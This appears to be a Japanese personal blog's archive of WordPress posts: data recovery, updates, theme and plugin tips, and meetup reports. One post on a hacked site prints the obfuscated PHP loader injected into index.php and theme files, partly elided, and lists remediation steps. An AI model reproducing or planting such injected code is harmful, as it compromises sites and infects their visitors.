「WordPress」カテゴリーアーカイブ

WordPressのデータを誤って削除

ガーン。
このブログは「WordPress」というオープンソースCMSを使っているんだけど、ある実験をしようとして、誤ってデータを消してしまった。
ディレクトリごとない。

エエエーーー、なんでぇーという感じでございます。
さくらインターネットのレンタルサーバを借りていて、その管理画面で、あるミスを犯したようだ。
ショックすぎる。

気を取り直して、データの修復です。

文字データはMySQLに格納されているので「phpMyAdmin」というソフトを使って取り出すことにした。
さくらインターネットでは「管理画面」の左側「データベースの設定」から、中央あたり「管理ツールログイン」をクリックして、IDとパスワードを入力すると接続出来る。

ここに至るまでに会社の社員に多大なる協力をいただいて、やっとここまで来たわけでして、うまくいったところだけ記載します。
(この間に何度もデータを入れたり、消したり、大変だったわけですが)

私のブログは2006年から書いており、データが大きい。
phpMyAdminでSQL書き出しをするとデータは多いわ、それに一つのサーバでいくつものWordPressを動かしているため、テーブルがゴチャゴチャです。

そこで、データを一つずつエキスポートして、新しいデータベースにインポートするということを地道にしました。
それでも、postsデータは30MBほどあり、phpMyAdminの表示は、最大16MBとあるので、それをテキストアプリで3分割してからインポート。

phpAdminで見ると、データは「wpで始まるposts」というところに格納されている。
(以下、テーブル名部分は「…」で記載)

これだけではカテゴリーデータはこないので、同様に「wp…terms」や「wp…term_taxonomy」も同じ操作をする。
それなりに順調に進んだのだが、

調子に乗って「wp…users」そして、次が問題「wp…usermeta」こいつをインポートした途端にWordPressに(ログインは出来るのに)管理者画面にアクセス出来なくなってしまった。

参った。
結局、原因は「….」このテーブル名が昔のものを持ってきていたからで、それを新しいテーブル名に書き換えてやれば良かったのである。

phpMyAdminを使うと、かなりのものが復旧出来ることはわかった。
しかし、写真データはこれからです。
自宅のマシンの中の写真を探し出さなければなりませぬ。
つづく…

WordPress 3.7

このブログで利用しているWordPressを3.7にアップした。
この3.7からは「バックグラウンドで自動的にこれらのアップデートを適用する」そうです。

他にも「新しいパスワードメーターによりユーザーにより強力なパスワードを選ぶよう促すことが可能に」なった。

「WordPress Codex 日本語版」に、すぐに翻訳が載ってくれるのは助かる。
WordPress 3.7の情報も詳しい。

WordPress:ヘッダーの画像の削除方法

長い間、疑問に思っていたことが、昨晩、あっさりと解決して頂きました。
Webnistさん、本当にありがとうございます。感謝、感謝です。

それは、WordPressのヘッダーの写真(このブログでも上部分に写真を表示しています)、それを追加するためのGUIが用意されていて簡単に出来ます。
ダッシュボードの「概観」の「ヘッダー」画面で「写真をアップロード」していくだけ。

しかしながら、「削除」したいのに、「削除」のボタンはない。
そこで、FTPでサーバに入ってファイルを削除してみたが、それでは「画像が表示されない」という状態で、画像のリンク切れが表示されてしまうだけ。
どうしたらいいのだろう?

わかってしまえば簡単なことなのだが、
ダッシュボードの「メディア」の「ライブラリ」を開いて、ここの画面で写真を「完全に削除する」そうです。
ライブラリに写真が多い場合は、ファイル名を入れて、「メディアを検索」してみます。

消えました。ありがとうございました。

WordPress アジュール部に参加

「WordPress アジュール部」に参加しました。

場所は日本マイクロソフトさんの会議室。
18:30〜20:30

少し遅れて行って、マイクロソフトさんのビルの中で、会議室探してウロウロ。
立派なビルの、ステキなオフィスです。
結局30分くらい遅れて入っちゃいました。

Windows Azure」でWordPressを動かすということの初心者向けの内容でした。
WordPressでは有名な、太田さん(Webnistさん)堀家さん(カクニンさん)のお話を聞くことが出来て良かったです。

今回は「初心者向け」とあったので、わかりやすい言葉を選んで、選んで、話されていました。
ありがとうございました。

「Windows Azure」のページの右上に、「無料評価版」というリンクがあって、クリックすると「90日間無料評価版」があります。

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~

Web制作を効率化して、クリエイティブに専念しよう~WordPress編~」に参加しました。

場所は、麹町にある「KDDI ウェブコミュニケーションズ」さんの会議室
時間は、16:00〜18:00

セッション1:WordPressを使ったWeb制作効率化のためのTips&Tools
講師は、「よつばデザイン」の後藤賢司さん。
後藤さんは、東京と大分を拠点にして、デザイン業を営んでいるそうです。

「効率化」・・・ついつい、ついつい、慣れた手法でやってしまいますよね。
何かを変革するには、エネルギーと時間が必要。

わかっちゃいるけど、前のマンマが多いと思う中、あちこちに効率化を考えて仕事を進めている人の話を聞くと、頭の中が整理されたり、触発されたりして、良かったです。

セッション2:WordPressでのSmartRelease活用法
講師は、KDDIウェブコミュニケーションズの阿部正幸さん。

SmartRelease」を使ったサーバサイドの効率化を聞きました。
テストサーバと本番サーバでは、PHPやmySQLや、その他もろもろのバージョンが異なっていたり、様々な理由でスンナリいかない経験は誰でもしていると思います。それを回避するためにというサービス。なかなかおもしろい。

検索していたら、「株式会社コニュニティコム」さんに詳しいレポートがあるので、こちらをどうぞ

WordPressに改ざん

知人にもWordpressを勧めて、「結構いいね」なんて言われていたのですが、アララ、ページが改ざんされてしまったそうです。

そのサイトに行くと、ウィルスソフトが「トロイの木馬」に感染したとかいう警告を出すそうな。ひどい人はPCが使い物にならない(といっても、どの程度だったのか詳細は不明ですけど)らしい。

チェックをしてみますと、いくつかのファイルに改ざん後がありました。
ネットで調べると、同様の改ざんが報告されています。
私もこちらに記しておきまする。

■改ざんされたのは次のファイル。
Wordpressのフォルダ/index.php
Wordpressのフォルダ/wp-blog-header.php
Wordpressのフォルダ/wp-content/themes/index.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/footer.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/header.php
Wordpressのフォルダ/wp-content/themes/利用しているテーマ/index.php

(テストで入れておいたテーマにも改ざんがあったので、そちらはフォルダごと削除)

■改ざん方法
それぞれのphpファイルの最後に次の記載が追加されていた。
これが1行にズラズラ〜っと記載してありました。

<?php @error_reporting(0);
if (!isset($eva1fYlbakBcVSir)) {
$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3T(省略)
bkRTID0xODc5Mjt9";
$eva1tYlbakBcVSir = "\x65\144\x6f\154\x70\170\x65";
$eva1tYldakBcVSir = "\x73\164\x72\162\x65\166";
$eva1tYldakBoVS1r = "\x65\143\x(省略)\x67\145\x72\160";
$eva1tYidokBoVSjr = "\x3b\51\x29\135\x31\(省略)
akBcVSir($eva1tYldakBoVS1r);
$eva1tYldakBcVSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);
$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016),
$eva1fYlbakBcVSir);$eva1tYXdakAcVSjr =
$eva1tYidakBcVSjr[0.031*0.061];
$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016),
$eva1tYidokBoVSjr);
$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],
$eva1tYidokBcVSjr[62.5*0.016],
$eva1tYldakBcVSir($eva1tYidokBcVSjr[0.061*0.031]));
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
$eva1tYldakBcVSir = "\x73\164\x72\x65\143\x72\160\164\x72";
$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";
$eva1tYldakBoVS1r = "\x65\143\x72\160";
$eva1tYldakBcVSir = "";
$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;
$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;
} ?>

■後処理として、
これらのファイルのその記載は削除してもらって、さらに
・ftpサーバのパスワード変更
・Wordpressのパスワード変更
・レンタルサーバーへの報告
・Wordpressを最新バージョンに更新
・pluginを最新バージョンに更新

これらをして頂きました。ふ〜。

WordPress:子テーマ

WordPressのTwentyelevenテンプレートは実によく出来ています。重宝しております。
でも、そのままでは使えないから、色々と手を加えるんだけど、子テーマを作った方が後々のメンテがやりやすいように思います。
子テーマを作ってみました。

<子テーマの作り方>

(1)wp-content/themes/にフォルダを作成
(例:フォルダ名はoyamatvとかなんでもいいんだけど)

(2)oyamatvフォルダを開き、twentyelevenフォルダのstyle.cssをコピー

(3)「style.css」を開き、先頭のコメントを残し、他は削除

(4)次の記載をする(そうするとテンプレートとして設定が可能になる)

@charset "utf-8";
/*
Theme Name: oyama
Author: オヤマ日記飴
Description: Twentyelevenの子テーマ
Template: twentyeleven
*/

@import url("../twentyeleven/style.css");

(5)管理画面で子テーマを有効化する

新たに作ったstyle.cssに、追記していきますから、これが便利だと思います。

WordPress:3.3.1インストール時のプラグイン

あるサイトを構築するために、最新のWordpree3.3.1をインストールしたところ、以前よりもプラグインが多く入ったような気がします。もしかしたら、以前からこのくらい入っていたのかな?ついでにどのようなプラグインが入ったか、見てみます。

<デフォルトでインストールされるプラグイン>
・Akismet(コメント・トラックバックスパム対策)
・Contact Form 7(お問い合わせフォーム)
・Hello Dolly(Hello Dollyの歌詞を定期的に表示する)
・WP-SpamFree(コメントスパム対策)
・WP Multibyte Patch(マルチバイト文字対応)
・WP Super Cache(高速化)
・WPtouch(スマホからの利用に便利)

<疑問>
「Akismet」があって「WP-SpamFree」もいるのかしら?
「WP-SpamFree」は、AkismetのようなAPIキーがいらないようですから、「有効化」するだけで使える。試しましょう。

WordPress:カテゴリー別表示はタイトルと記事の一部表示にした

カテゴリー別を見るのって、実はブログを書いている自分だけかも。

私の場合はよく利用しますが、これまでは右側のカテゴリーをクリックして表示すると、デフォルト設定(記事の中身が見れるよう)になってますが、これは長い。タイトル一覧表示でいいのです。

そのように変更しようと思って検索していますと「【WPCOS】WordPressカスタマイズ」に良い方法があったのでマネました。

content.phpを開いて、

変更前:

<?php if ( is_search() ) : // Only display Excerpts for Search ?>

変更後:

<?php if ( is_category() or is_archive() or is_tag() or is_search() ) : // Only display Excerpts for Search ?>

つまり、検索結果を表示するのと同じように表示すると簡単という点に着目し、以下を追加。

or is_archive() or is_tag() or is_search()

うまい事考えましたなぁ。

<?php if ( is_search() or is_archive() or is_tag() or is_search() ) : // Only display Excerpts for Search ?>
<div class="entry-summary">
	<?php the_excerpt(); ?>
</div><!-- .entry-summary -->

この部分、これが記事の抜粋を表示してくれるんですが、たったこれだけで良いのです。
<?php the_excerpt(); ?>

この定義はどこでしているのかなぁと探しますと、wp-includes/post-template.php にあります。

WordPressプラグイン:category-limitation

「複数人でサイトを管理していて、Aさんが書き込んだ記事のカテゴリーはAAAAと自動的に表示することは出来ませんか?」と質問されていた。

pluginを探したらいいのがありましたので紹介しました。
こちらにも記載しておきます。
category-limitation」です。

その前にユーザーを作っておきます。
ユーザーの権限は「投稿者」にしました。

(1)「category-limitation」をダウンロードして
(2)「wp-content/plugins」フォルダに入れて、
(3)ダッシュボード画面で、「有効化」ボタンをクリックして有効する。
(4)ダッシュボード画面の左側「設定」の中に「Category Limitation」が出来るのでクリック
(5)ユーザー名ごとにカテゴリーにチェックを付けます